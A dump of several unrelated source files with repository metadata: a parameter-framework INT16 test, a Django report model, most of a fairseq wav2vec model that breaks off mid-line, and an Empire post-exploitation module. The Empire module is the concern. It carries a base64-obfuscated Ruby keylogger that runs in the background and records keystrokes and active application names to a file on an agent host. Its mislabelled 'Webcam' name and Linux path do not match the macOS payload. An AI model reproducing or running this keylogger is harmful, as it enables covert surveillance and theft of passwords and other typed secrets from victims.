MIPS/external-parameter-framework

7f346c9058f39a533a2eaadc9ebc4001397c6ff9

[ "BSD-3-Clause" ]

null

test/functional-tests/PfwTestCase/Types/tINT16.py

MIPS/external-parameter-framework

7f346c9058f39a533a2eaadc9ebc4001397c6ff9

[ "BSD-3-Clause" ]

null

# -*-coding:utf-8 -* # Copyright (c) 2011-2015, Intel Corporation # All rights reserved. # # Redistribution and use in source and binary forms, with or without modification, # are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation and/or # other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its contributors # may be used to endorse or promote products derived from this software without # specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON # ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ Integer parameter type testcases - INT16 List of tested functions : -------------------------- - [setParameter] function - [getParameter] function Initial Settings : ------------------ INT16 : - size = 16 - range : [-1000, 1000] Test cases : ------------ - INT16 parameter min value = -1000 - INT16 parameter min value out of bounds = -1001 - INT16 parameter max value = 1000 - INT16 parameter max value out of bounds = 1001 - INT16 parameter in nominal case = 50 """ import commands from Util.PfwUnitTestLib import PfwTestCase from Util import ACTLogging log=ACTLogging.Logger() # Test of type INT16 - range [-1000, 1000] class TestCases(PfwTestCase): def setUp(self): self.param_name = "/Test/Test/TEST_DIR/INT16" self.pfw.sendCmd("setTuningMode", "on") def tearDown(self): self.pfw.sendCmd("setTuningMode", "off") def test_Nominal_Case(self): """ Testing INT16 in nominal case = 50 ---------------------------------- Test case description : ~~~~~~~~~~~~~~~~~~~~~~~ - set INT16 parameter in nominal case = 50 Tested commands : ~~~~~~~~~~~~~~~~~ - [setParameter] function Used commands : ~~~~~~~~~~~~~~~ - [getParameter] function Expected result : ~~~~~~~~~~~~~~~~~ - INT16 parameter set to 50 - Blackboard and filesystem values checked """ log.D(self.test_Nominal_Case.__doc__) log.I("INT16 parameter in nominal case = 50") value = "50" hex_value = "0x32" #Set parameter value out, err = self.pfw.sendCmd("setParameter", self.param_name, value) assert err == None, log.E("when setting parameter %s : %s" % (self.param_name, err)) assert out == "Done", log.F("when setting parameter %s : %s" % (self.param_name, out)) #Check parameter value on blackboard out, err = self.pfw.sendCmd("getParameter", self.param_name, "") assert err == None, log.E("when setting parameter %s : %s" % (self.param_name, err)) assert out == value, log.F("BLACKBOARD : Incorrect value for %s, expected: %s, found: %s" % (self.param_name, value, out)) #Check parameter value on filesystem assert commands.getoutput('cat $PFW_RESULT/INT16') == hex_value, log.F("FILESYSTEM : parameter update error") log.I("test OK") def test_TypeMin(self): """ Testing INT16 minimal value = -1000 ----------------------------------- Test case description : ~~~~~~~~~~~~~~~~~~~~~~~ - set INT16 parameter min value = -1000 Tested commands : ~~~~~~~~~~~~~~~~~ - [setParameter] function Used commands : ~~~~~~~~~~~~~~~ - [getParameter] function Expected result : ~~~~~~~~~~~~~~~~~ - INT16 parameter set to -1000 - Blackboard and filesystem values checked """ log.D(self.test_TypeMin.__doc__) log.I("INT16 parameter min value = -1000") value = "-1000" hex_value = "0xfc18" #Set parameter value out, err = self.pfw.sendCmd("setParameter", self.param_name, value) assert err == None, log.E("when setting parameter %s : %s" % (self.param_name, err)) assert out == "Done", log.F("when setting parameter %s : %s" % (self.param_name, out)) #Check parameter value on blackboard out, err = self.pfw.sendCmd("getParameter", self.param_name, "") assert err == None, log.E("when setting parameter %s : %s" % (self.param_name, err)) assert out == value, log.F("BLACKBOARD : Incorrect value for %s, expected: %s, found: %s" % (self.param_name, value, out)) #Check parameter value on filesystem assert commands.getoutput('cat $PFW_RESULT/INT16') == hex_value, log.F("FILESYSTEM : parameter update error") log.I("test OK") def test_TypeMin_Overflow(self): """ Testing INT16 parameter value out of negative range --------------------------------------------------- Test case description : ~~~~~~~~~~~~~~~~~~~~~~~ - set INT16 to -1001 Tested commands : ~~~~~~~~~~~~~~~~~ - [setParameter] function Used commands : ~~~~~~~~~~~~~~~ - [getParameter] function Expected result : ~~~~~~~~~~~~~~~~~ - error detected - INT16 parameter not updated - Blackboard and filesystem values checked """ log.D(self.test_TypeMin_Overflow.__doc__) log.I("INT16 parameter min value out of bounds = -1001") value = "-1001" param_check = commands.getoutput('cat $PFW_RESULT/INT16') #Set parameter value out, err = self.pfw.sendCmd("setParameter", self.param_name, value) assert err == None, log.E("when setting parameter %s : %s" % (self.param_name, err)) assert out != "Done", log.F("PFW : Error not detected when setting parameter %s out of bounds" % (self.param_name)) #Check parameter value on filesystem assert commands.getoutput('cat $PFW_RESULT/INT16') == param_check, log.F("FILESYSTEM : Forbiden parameter change") log.I("test OK") def test_TypeMax(self): """ Testing INT16 parameter maximum value ------------------------------------- Test case description : ~~~~~~~~~~~~~~~~~~~~~~~ - set INT16 to 1000 Tested commands : ~~~~~~~~~~~~~~~~~ - [setParameter] function Used commands : ~~~~~~~~~~~~~~~ - [getParameter] function Expected result : ~~~~~~~~~~~~~~~~~ - INT16 parameter set to 1000 - Blackboard and filesystem values checked """ log.D(self.test_TypeMax.__doc__) log.I("INT16 parameter max value = 1000") value = "1000" hex_value = "0x3e8" #Set parameter value out, err = self.pfw.sendCmd("setParameter", self.param_name, value) assert err == None, log.E("when setting parameter %s : %s" % (self.param_name, err)) assert out == "Done", log.F("when setting parameter %s : %s" % (self.param_name, out)) #Check parameter value on blackboard out, err = self.pfw.sendCmd("getParameter", self.param_name, "") assert err == None, log.E("when setting parameter %s : %s" % (self.param_name, err)) assert out == value, log.F("BLACKBOARD : Incorrect value for %s, expected: %s, found: %s" % (self.param_name, value, out)) #Check parameter value on filesystem assert commands.getoutput('cat $PFW_RESULT/INT16') == hex_value, log.F("FILESYSTEM : parameter update error") log.I("test OK") def test_TypeMax_Overflow(self): """ Testing INT16 parameter value out of positive range --------------------------------------------------- Test case description : ~~~~~~~~~~~~~~~~~~~~~~~ - set INT16 to 1001 Tested commands : ~~~~~~~~~~~~~~~~~ - [setParameter] function Used commands : ~~~~~~~~~~~~~~~ - [getParameter] function Expected result : ~~~~~~~~~~~~~~~~~ - error detected - INT16 parameter not updated - Blackboard and filesystem values checked """ log.D(self.test_TypeMax_Overflow.__doc__) log.I("INT16 parameter max value out of bounds = 1001") value = "1001" param_check = commands.getoutput('cat $PFW_RESULT/INT16') #Set parameter value out, err = self.pfw.sendCmd("setParameter", self.param_name, value) assert err == None, log.E("when setting parameter %s : %s" % (self.param_name, err)) assert out != "Done", log.F("PFW : Error not detected when setting parameter %s out of bounds" % (self.param_name)) #Check parameter value on filesystem assert commands.getoutput('cat $PFW_RESULT/INT16') == param_check, log.F("FILESYSTEM : Forbiden parameter change") log.I("test OK")

43.215447

122

0.541529

c5b334b27b40d91c535594a2cca4c022b88d11b9

7,627

py

Python

lib/modules/python/collection/linux/keylogger.py

Gui-Luz/Empire

6f5eeff5f46dd085e1317cb09b39853a2fce5d13

[ "BSD-3-Clause" ]

5,720

2017-02-02T13:59:40.000Z

2022-03-31T09:50:10.000Z

lib/modules/python/collection/linux/keylogger.py

VookiBoo/Empire

5aae31e7de591282773d2c8498af04ee4e8778f5

[ "BSD-3-Clause" ]

866

2017-02-02T10:56:31.000Z

2020-01-17T07:47:05.000Z

lib/modules/python/collection/linux/keylogger.py

VookiBoo/Empire

5aae31e7de591282773d2c8498af04ee4e8778f5

[ "BSD-3-Clause" ]

2,181

2017-02-04T10:28:41.000Z

2022-03-31T04:36:56.000Z

class Module: def __init__(self, mainMenu, params=[]): # metadata info about the module, not modified during runtime self.info = { # name for the module that will appear in module menus 'Name': 'Webcam', # list of one or more authors for the module 'Author': ['joev', '@harmj0y'], # more verbose multi-line description of the module 'Description': ("Logs keystrokes to the specified file. Ruby based and heavily adapted from MSF's osx/capture/keylog_recorder. Kill the resulting PID when keylogging is finished and download the specified LogFile."), # True if the module needs to run in the background 'Background': False, # File extension to save the file as 'OutputExtension': "", # if the module needs administrative privileges 'NeedsAdmin': False, # True if the method doesn't touch disk/is reasonably opsec safe 'OpsecSafe': False, # the module language 'Language' : 'python', # the minimum language version needed 'MinLanguageVersion' : '2.6', # list of any references/other comments 'Comments': [ "https://github.com/amoffat/pykeylogger" ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent': { # The 'Agent' option is the only one that MUST be in a module 'Description' : 'Agent to keylog.', 'Required' : True, 'Value' : '' }, 'LogFile': { 'Description' : 'Text file to log keystrokes out to.', 'Required' : True, 'Value' : '/tmp/debug.db' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu # During instantiation, any settable option parameters # are passed as an object set to the module and the # options dictionary is automatically set. This is mostly # in case options are passed on the command line if params: for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self, obfuscate=False, obfuscationCommand=""): logFile = self.options['LogFile']['Value'] # base64'ed launcher of ./data/misc/keylogger.rb from MSF script = """ import os,time output = os.popen('echo "require \\\'base64\\\';eval(Base64.decode64(\\\'cmVxdWlyZSAndGhyZWFkJwpyZXF1aXJlICdkbCcKcmVxdWlyZSAnZGwvaW1wb3J0JwpJbXBvcnRlciA9IGlmIGRlZmluZWQ/KERMOjpJbXBvcnRlcikgdGhlbiBETDo6SW1wb3J0ZXIgZWxzZSBETDo6SW1wb3J0YWJsZSBlbmQKZGVmIHJ1YnlfMV85X29yX2hpZ2hlcj8KICBSVUJZX1ZFUlNJT04udG9fZiA+PSAxLjkKZW5kCmRlZiBtYWxsb2Moc2l6ZSkKICBpZiBydWJ5XzFfOV9vcl9oaWdoZXI/CiAgICBETDo6Q1B0ci5tYWxsb2Moc2l6ZSkKICBlbHNlCiAgICBETDo6bWFsbG9jKHNpemUpCiAgZW5kCmVuZAppZiBub3QgcnVieV8xXzlfb3JfaGlnaGVyPwogIG1vZHVsZSBETAogICAgbW9kdWxlIEltcG9ydGFibGUKICAgICAgZGVmIG1ldGhvZF9taXNzaW5nKG1ldGgsICphcmdzLCAmYmxvY2spCiAgICAgICAgc3RyID0gbWV0aC50b19zCiAgICAgICAgbG93ZXIgPSBzdHJbMCwxXS5kb3duY2FzZSArIHN0clsxLi4tMV0KICAgICAgICBpZiBzZWxmLnJlc3BvbmRfdG8/IGxvd2VyCiAgICAgICAgICBzZWxmLnNlbmQgbG93ZXIsICphcmdzCiAgICAgICAgZWxzZQogICAgICAgICAgc3VwZXIKICAgICAgICBlbmQKICAgICAgZW5kCiAgICBlbmQKICBlbmQKZW5kClNNX0tDSFJfQ0FDSEUgPSAzOApTTV9DVVJSRU5UX1NDUklQVCA9IC0yCk1BWF9BUFBfTkFNRSA9IDgwCm1vZHVsZSBDYXJib24KICBleHRlbmQgSW1wb3J0ZXIKICBkbGxvYWQgJy9TeXN0ZW0vTGlicmFyeS9GcmFtZXdvcmtzL0NhcmJvbi5mcmFtZXdvcmsvQ2FyYm9uJwogIGV4dGVybiAndW5zaWduZWQgbG9uZyBDb3B5UHJvY2Vzc05hbWUoY29uc3QgUHJvY2Vzc1NlcmlhbE51bWJlciAqLCB2b2lkICopJwogIGV4dGVybiAndm9pZCBHZXRGcm9udFByb2Nlc3MoUHJvY2Vzc1NlcmlhbE51bWJlciAqKScKICBleHRlcm4gJ3ZvaWQgR2V0S2V5cyh2b2lkICopJwogIGV4dGVybiAndW5zaWduZWQgY2hhciAqR2V0U2NyaXB0VmFyaWFibGUoaW50LCBpbnQpJwogIGV4dGVybiAndW5zaWduZWQgY2hhciBLZXlUcmFuc2xhdGUodm9pZCAqLCBpbnQsIHZvaWQgKiknCiAgZXh0ZXJuICd1bnNpZ25lZCBjaGFyIENGU3RyaW5nR2V0Q1N0cmluZyh2b2lkICosIHZvaWQgKiwgaW50LCBpbnQpJwogIGV4dGVybiAnaW50IENGU3RyaW5nR2V0TGVuZ3RoKHZvaWQgKiknCmVuZApwc24gPSBtYWxsb2MoMTYpCm5hbWUgPSBtYWxsb2MoMTYpCm5hbWVfY3N0ciA9IG1hbGxvYyhNQVhfQVBQX05BTUUpCmtleW1hcCA9IG1hbGxvYygxNikKc3RhdGUgPSBtYWxsb2MoOCkKaXR2X3N0YXJ0ID0gVGltZS5ub3cudG9faQpwcmV2X2Rvd24gPSBIYXNoLm5ldyhmYWxzZSkKbGFzdFdpbmRvdyA9ICIiCndoaWxlICh0cnVlKSBkbwogIENhcmJvbi5HZXRGcm9udFByb2Nlc3MocHNuLnJlZikKICBDYXJib24uQ29weVByb2Nlc3NOYW1lKHBzbi5yZWYsIG5hbWUucmVmKQogIENhcmJvbi5HZXRLZXlzKGtleW1hcCkKICBzdHJfbGVuID0gQ2FyYm9uLkNGU3RyaW5nR2V0TGVuZ3RoKG5hbWUpCiAgY29waWVkID0gQ2FyYm9uLkNGU3RyaW5nR2V0Q1N0cmluZyhuYW1lLCBuYW1lX2NzdHIsIE1BWF9BUFBfTkFNRSwgMHgwODAwMDEwMCkgPiAwCiAgYXBwX25hbWUgPSBpZiBjb3BpZWQgdGhlbiBuYW1lX2NzdHIudG9fcyBlbHNlICdVbmtub3duJyBlbmQKICBieXRlcyA9IGtleW1hcC50b19zdHIKICBjYXBfZmxhZyA9IGZhbHNlCiAgYXNjaWkgPSAwCiAgY3RybGNoYXIgPSAiIgogICgwLi4uMTI4KS5lYWNoIGRvIHxrfAogICAgaWYgKChieXRlc1trPj4zXS5vcmQgPj4gKGsmNykpICYgMSA+IDApCiAgICAgIGlmIG5vdCBwcmV2X2Rvd25ba10KICAgICAgICBjYXNlIGsKICAgICAgICAgIHdoZW4gMzYKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2VudGVyXSIKICAgICAgICAgIHdoZW4gNDgKICAgICAgICAgICAgY3RybGNoYXIgPSAiW3RhYl0iCiAgICAgICAgICB3aGVuIDQ5CiAgICAgICAgICAgIGN0cmxjaGFyID0gIiAiCiAgICAgICAgICB3aGVuIDUxCiAgICAgICAgICAgIGN0cmxjaGFyID0gIltkZWxldGVdIgogICAgICAgICAgd2hlbiA1MwogICAgICAgICAgICBjdHJsY2hhciA9ICJbZXNjXSIKICAgICAgICAgIHdoZW4gNTUKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2NtZF0iCiAgICAgICAgICB3aGVuIDU2CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltzaGlmdF0iCiAgICAgICAgICB3aGVuIDU3CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjYXBzXSIKICAgICAgICAgIHdoZW4gNTgKICAgICAgICAgICAgY3RybGNoYXIgPSAiW29wdGlvbl0iCiAgICAgICAgICB3aGVuIDU5CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjdHJsXSIKICAgICAgICAgIHdoZW4gNjMKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2ZuXSIKICAgICAgICAgIGVsc2UKICAgICAgICAgICAgY3RybGNoYXIgPSAiIgogICAgICAgIGVuZAogICAgICAgIGlmIGN0cmxjaGFyID09ICIiIGFuZCBhc2NpaSA9PSAwCiAgICAgICAgICBrY2hyID0gQ2FyYm9uLkdldFNjcmlwdFZhcmlhYmxlKFNNX0tDSFJfQ0FDSEUsIFNNX0NVUlJFTlRfU0NSSVBUKQogICAgICAgICAgY3Vycl9hc2NpaSA9IENhcmJvbi5LZXlUcmFuc2xhdGUoa2Nociwgaywgc3RhdGUpCiAgICAgICAgICBjdXJyX2FzY2lpID0gY3Vycl9hc2NpaSA+PiAxNiBpZiBjdXJyX2FzY2lpIDwgMQogICAgICAgICAgcHJldl9kb3duW2tdID0gdHJ1ZQogICAgICAgICAgaWYgY3Vycl9hc2NpaSA9PSAwCiAgICAgICAgICAgIGNhcF9mbGFnID0gdHJ1ZQogICAgICAgICAgZWxzZQogICAgICAgICAgICBhc2NpaSA9IGN1cnJfYXNjaWkKICAgICAgICAgIGVuZAogICAgICAgIGVsc2lmIGN0cmxjaGFyICE9ICIiCiAgICAgICAgICBwcmV2X2Rvd25ba10gPSB0cnVlCiAgICAgICAgZW5kCiAgICAgIGVuZAogICAgZWxzZQogICAgICBwcmV2X2Rvd25ba10gPSBmYWxzZQogICAgZW5kCiAgZW5kCiAgaWYgYXNjaWkgIT0gMCBvciBjdHJsY2hhciAhPSAiIgogICAgaWYgYXBwX25hbWUgIT0gbGFzdFdpbmRvdwogICAgICBwdXRzICJcblxuWyN7YXBwX25hbWV9XSAtIFsje1RpbWUubm93fV1cbiIKICAgICAgbGFzdFdpbmRvdyA9IGFwcF9uYW1lCiAgICBlbmQKICAgIGlmIGN0cmxjaGFyICE9ICIiCiAgICAgIHByaW50ICIje2N0cmxjaGFyfSIKICAgIGVsc2lmIGFzY2lpID4gMzIgYW5kIGFzY2lpIDwgMTI3CiAgICAgIGMgPSBpZiBjYXBfZmxhZyB0aGVuIGFzY2lpLmNoci51cGNhc2UgZWxzZSBhc2NpaS5jaHIgZW5kCiAgICAgIHByaW50ICIje2N9IgogICAgZWxzZQogICAgICBwcmludCAiWyN7YXNjaWl9XSIKICAgIGVuZAogICAgJHN0ZG91dC5mbHVzaAogIGVuZAogIEtlcm5lbC5zbGVlcCgwLjAxKQplbmQK\\\'))" | ruby > %s &').read() time.sleep(1) pids = os.popen('ps aux | grep " ruby" | grep -v grep').read() print pids print "kill ruby PID and download %s when completed" """ % (logFile, logFile) return script

87.666667

4,547

0.814475

336917575441f2690e4fc80a9eb5efad81a3f404

795

py

Python

mspray/apps/main/models/weekly_report.py

onaio/mspray

b3e0f4b5855abbf0298de6b66f2e9f472f2bf838

[ "Apache-2.0" ]

null

mspray/apps/main/models/weekly_report.py

onaio/mspray

b3e0f4b5855abbf0298de6b66f2e9f472f2bf838

[ "Apache-2.0" ]

76

2018-03-15T09:37:56.000Z

2019-05-15T12:45:51.000Z

mspray/apps/main/models/weekly_report.py

onaio/mspray

b3e0f4b5855abbf0298de6b66f2e9f472f2bf838

[ "Apache-2.0" ]

1

2020-10-31T07:15:22.000Z

# -*- coding=utf-8 -*- """ Weekly report model module. """ from django.db import models class WeeklyReport(models.Model): """ Weekly report model """ week_number = models.PositiveIntegerField() location = models.ForeignKey('Location', on_delete=models.CASCADE) structures = models.IntegerField(default=0) # visited - 20% of the structures have been sprayed in the spray area visited = models.PositiveIntegerField(default=0) # sprayed - 20% of the structures have been sprayed in the spray area sprayed = models.PositiveIntegerField(default=0) created_on = models.DateTimeField(auto_now_add=True) modified_on = models.DateTimeField(auto_now=True) class Meta: app_label = 'main' unique_together = ('week_number', 'location')

30.576923

73

0.704403

62807764efaa987d930a2690fa456be8295b37db

18,388

py

Python

fairseq/models/wav2vec.py

theorm/fairseq

7a653108cded5aaa69910e9acc0bf9a628f2257b

[ "MIT" ]

239

2020-05-12T16:07:49.000Z

2022-03-29T20:07:36.000Z

fairseq/models/wav2vec.py

theorm/fairseq

7a653108cded5aaa69910e9acc0bf9a628f2257b

[ "MIT" ]

35

2020-11-02T10:53:20.000Z

2022-03-18T20:58:07.000Z

fairseq/models/wav2vec.py

theorm/fairseq

7a653108cded5aaa69910e9acc0bf9a628f2257b

[ "MIT" ]

38

2020-11-07T19:23:25.000Z

2022-03-31T08:56:33.000Z

# Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import sys import math import torch import torch.nn as nn import torch.nn.functional as F from . import ( BaseFairseqModel, register_model, register_model_architecture ) @register_model('wav2vec') class Wav2VecModel(BaseFairseqModel): @staticmethod def add_args(parser): """Add model-specific arguments to the parser.""" parser.add_argument('--prediction-steps', type=int, metavar='N', help='number of steps ahead to predict') parser.add_argument('--sample-distance', type=int, metavar='N', help='sample distance from target. does not work properly with cross-sampling') parser.add_argument('--cross-sample-negatives', action='store_true', help='whether to sample negatives across examples in the same batch') parser.add_argument('--num-negatives', type=int, metavar='N', help='number of negative examples') parser.add_argument('--conv-feature-layers', type=str, metavar='EXPR', help='convolutional feature extraction layers [(dim, kernel_size, stride), ...]') parser.add_argument('--conv-aggregator-layers', type=str, metavar='EXPR', help='convolutional feature extraction layers [(dim, kernel_size, stride), ...]') parser.add_argument('--dropout', type=float, metavar='D', help='dropout to apply within the model') parser.add_argument('--dropout-features', type=float, metavar='D', help='dropout to apply to the features') parser.add_argument('--dropout-agg', type=float, metavar='D', help='dropout to apply after aggregation step') parser.add_argument('--encoder', type=str, choices=['cnn'], help='type of encoder to use') parser.add_argument('--aggregator', type=str, choices=['cnn', 'gru'], help='type of aggregator to use') parser.add_argument('--gru-dim', type=int, metavar='N', help='GRU dimensionality') parser.add_argument('--no-conv-bias', action='store_true', help='if set, does not learn bias for conv layers') parser.add_argument('--agg-zero-pad', action='store_true', help='if set, zero pads in aggregator instead of repl pad') parser.add_argument('--skip-connections-feat', action='store_true', help='if set, adds skip connections to the feature extractor') parser.add_argument('--skip-connections-agg', action='store_true', help='if set, adds skip connections to the aggregator') parser.add_argument('--residual-scale', type=float, metavar='D', help='scales residual by sqrt(value)') parser.add_argument('--log-compression', action='store_true', help='if set, adds a log compression to feature extractor') parser.add_argument('--balanced-classes', action='store_true', help='if set, loss is scaled to balance for number of negatives') parser.add_argument('--project-features', choices=['none', 'same', 'new'], help='if not none, features are projected using the (same or new) aggregator') parser.add_argument('--non-affine-group-norm', action='store_true', help='if set, group norm is not affine') parser.add_argument('--offset', help='if set, introduces an offset from target to predictions. ' 'if set to "auto", it is computed automatically from the receptive field') @classmethod def build_model(cls, args, task): """Build a new model instance.""" # make sure all arguments are present in older models base_wav2vec_architecture(args) model = Wav2VecModel(args) print(model) return model def __init__(self, args): super().__init__() self.prediction_steps = args.prediction_steps offset = args.offset if args.encoder == 'cnn': feature_enc_layers = eval(args.conv_feature_layers) self.feature_extractor = ConvFeatureExtractionModel( conv_layers=feature_enc_layers, dropout=0., log_compression=args.log_compression, skip_connections=args.skip_connections_feat, residual_scale=args.residual_scale, non_affine_group_norm=args.non_affine_group_norm, ) embed = feature_enc_layers[-1][0] else: raise Exception('unknown encoder type ' + args.encoder) if args.offset == 'auto': assert args.encoder == 'cnn' jin = 0 rin = 0 for _, k, stride in feature_enc_layers: if rin == 0: rin = k rin = rin + (k - 1) * jin if jin == 0: jin = stride else: jin *= stride offset = math.ceil(rin / jin) offset = int(offset) def make_aggregator(): if args.aggregator == 'cnn': agg_layers = eval(args.conv_aggregator_layers) agg_dim = agg_layers[-1][0] feature_aggregator = ConvAggegator( conv_layers=agg_layers, embed=embed, dropout=args.dropout, skip_connections=args.skip_connections_agg, residual_scale=args.residual_scale, non_affine_group_norm=args.non_affine_group_norm, conv_bias=not args.no_conv_bias, zero_pad=args.agg_zero_pad, ) elif args.aggregator == 'gru': agg_dim = args.gru_dim feature_aggregator = nn.Sequential( TransposeLast(), nn.GRU( input_size=embed, hidden_size=agg_dim, num_layers=1, dropout=args.dropout, ), TransposeLast(deconstruct_idx=0), ) else: raise Exception('unknown aggregator type ' + args.aggregator) return feature_aggregator, agg_dim self.feature_aggregator, agg_dim = make_aggregator() self.wav2vec_predictions = Wav2VecPredictionsModel( in_dim=agg_dim, out_dim=embed, prediction_steps=args.prediction_steps, n_negatives=args.num_negatives, cross_sample_negatives=args.cross_sample_negatives, sample_distance=args.sample_distance, dropout=args.dropout, offset=offset, balanced_classes=args.balanced_classes, ) self.dropout_feats = nn.Dropout(p=args.dropout_features) self.dropout_agg = nn.Dropout(p=args.dropout_agg) if args.project_features == 'none': self.project_features = None elif args.project_features == 'same': self.project_features = self.feature_aggregator elif args.project_features == 'new': self.project_features, _ = make_aggregator() def forward(self, source): result = {} features = self.feature_extractor(source) x = self.dropout_feats(features) x = self.feature_aggregator(x) x = self.dropout_agg(x) if self.project_features is not None: features = self.project_features(features) x, targets = self.wav2vec_predictions(x, features) result['cpc_logits'] = x result['cpc_targets'] = targets return result def upgrade_state_dict_named(self, state_dict, name): return state_dict def max_positions(self): """Maximum length supported by the model.""" return sys.maxsize def get_logits(self, net_output): logits = net_output['cpc_logits'] return logits def get_targets(self, sample, net_output, expand_steps=True): t = net_output['cpc_targets'] return t.contiguous() def get_target_weights(self, targets, net_output): targets = net_output['cpc_targets'] if isinstance(targets, tuple) and targets[-1] is not None: return targets[-1] return 1. class TransposeLast(nn.Module): def __init__(self, deconstruct_idx=None): super().__init__() self.deconstruct_idx = deconstruct_idx def forward(self, x): if self.deconstruct_idx is not None: x = x[self.deconstruct_idx] return x.transpose(-2, -1) class Fp32GroupNorm(nn.GroupNorm): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) def forward(self, input): output = F.group_norm( input.float(), self.num_groups, self.weight.float() if self.weight is not None else None, self.bias.float() if self.bias is not None else None, self.eps) return output.type_as(input) class Fp32LayerNorm(nn.LayerNorm): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) def forward(self, input): output = F.layer_norm( input.float(), self.normalized_shape, self.weight.float() if self.weight is not None else None, self.bias.float() if self.bias is not None else None, self.eps) return output.type_as(input) def norm_block(is_layer_norm, dim, affine=True): if is_layer_norm: mod = nn.Sequential( TransposeLast(), Fp32LayerNorm(dim, elementwise_affine=affine), TransposeLast(), ) else: mod = Fp32GroupNorm(1, dim, affine=affine) return mod class ConvFeatureExtractionModel(nn.Module): def __init__(self, conv_layers, dropout, log_compression, skip_connections, residual_scale, non_affine_group_norm): super().__init__() def block(n_in, n_out, k, stride): return nn.Sequential( nn.Conv1d(n_in, n_out, k, stride=stride, bias=False), nn.Dropout(p=dropout), norm_block(is_layer_norm=False, dim=n_out, affine=not non_affine_group_norm), nn.ReLU(), ) in_d = 1 self.conv_layers = nn.ModuleList() for i, (dim, k, stride) in enumerate(conv_layers): self.conv_layers.append( block(in_d, dim, k, stride)) in_d = dim self.log_compression = log_compression self.skip_connections = skip_connections self.residual_scale = math.sqrt(residual_scale) def forward(self, x): # BxT -> BxCxT x = x.unsqueeze(1) for conv in self.conv_layers: residual = x x = conv(x) if self.skip_connections and x.size(1) == residual.size(1): tsz = x.size(2) r_tsz = residual.size(2) residual = residual[..., ::r_tsz // tsz][..., :tsz] x = (x + residual) * self.residual_scale if self.log_compression: x = x.abs() x = x + 1 x = x.log() return x class ZeroPad1d(nn.Module): def __init__(self, pad_left, pad_right): super().__init__() self.pad_left = pad_left self.pad_right = pad_right def forward(self, x): return F.pad(x, (self.pad_left, self.pad_right)) class ConvAggegator(nn.Module): def __init__(self, conv_layers, embed, dropout, skip_connections, residual_scale, non_affine_group_norm, conv_bias, zero_pad): super().__init__() def block(n_in, n_out, k, stride): # padding dims only really make sense for stride = 1 ka = k // 2 kb = ka - 1 if k % 2 == 0 else ka pad = ZeroPad1d(ka + kb, 0) if zero_pad else nn.ReplicationPad1d((ka + kb, 0)) return nn.Sequential( pad, nn.Conv1d(n_in, n_out, k, stride=stride, bias=conv_bias), nn.Dropout(p=dropout), norm_block(False, n_out, affine=not non_affine_group_norm), nn.ReLU(), ) in_d = embed self.conv_layers = nn.ModuleList() self.residual_proj = nn.ModuleList() for i, (dim, k, stride) in enumerate(conv_layers): if in_d != dim and skip_connections: self.residual_proj.append( nn.Conv1d(in_d, dim, 1, bias=False), ) else: self.residual_proj.append(None) self.conv_layers.append( block(in_d, dim, k, stride)) in_d = dim self.conv_layers = nn.Sequential(*self.conv_layers) self.skip_connections = skip_connections self.residual_scale = math.sqrt(residual_scale) def forward(self, x): for rproj, conv in zip(self.residual_proj, self.conv_layers): residual = x x = conv(x) if self.skip_connections: if rproj is not None: residual = rproj(residual) x = (x + residual) * self.residual_scale return x class Wav2VecPredictionsModel(nn.Module): def __init__(self, in_dim, out_dim, prediction_steps, n_negatives, cross_sample_negatives, sample_distance, dropout, offset, balanced_classes): super().__init__() self.n_negatives = n_negatives self.cross_sample_negatives = cross_sample_negatives self.sample_distance = sample_distance self.project_to_steps = nn.ConvTranspose2d(in_dim, out_dim, (1, prediction_steps)) self.dropout = nn.Dropout(p=dropout) self.offset = offset self.balanced_classes = balanced_classes def sample_negatives(self, y): bsz, fsz, tsz = y.shape y = y.transpose(0, 1) # BCT -> CBT y = y.contiguous().view(fsz, -1) # CBT => C(BxT) if self.cross_sample_negatives: high = tsz * bsz assert self.sample_distance is None, 'sample distance is not supported with cross sampling' else: high = tsz if self.sample_distance is None else min(tsz, self.sample_distance) neg_idxs = torch.randint(low=0, high=high, size=(bsz, self.n_negatives * tsz)) if self.sample_distance is not None and self.sample_distance < tsz: neg_idxs += torch.cat( [torch.arange(start=1, end=tsz - self.sample_distance, device=neg_idxs.device, dtype=neg_idxs.dtype), torch.arange(start=tsz - self.sample_distance, end=tsz - self.sample_distance * 2 - 1, step=-1, device=neg_idxs.device, dtype=neg_idxs.dtype)]) if not self.cross_sample_negatives: for i in range(1, bsz): neg_idxs[i] += i * high negs = y[..., neg_idxs.view(-1)] negs = 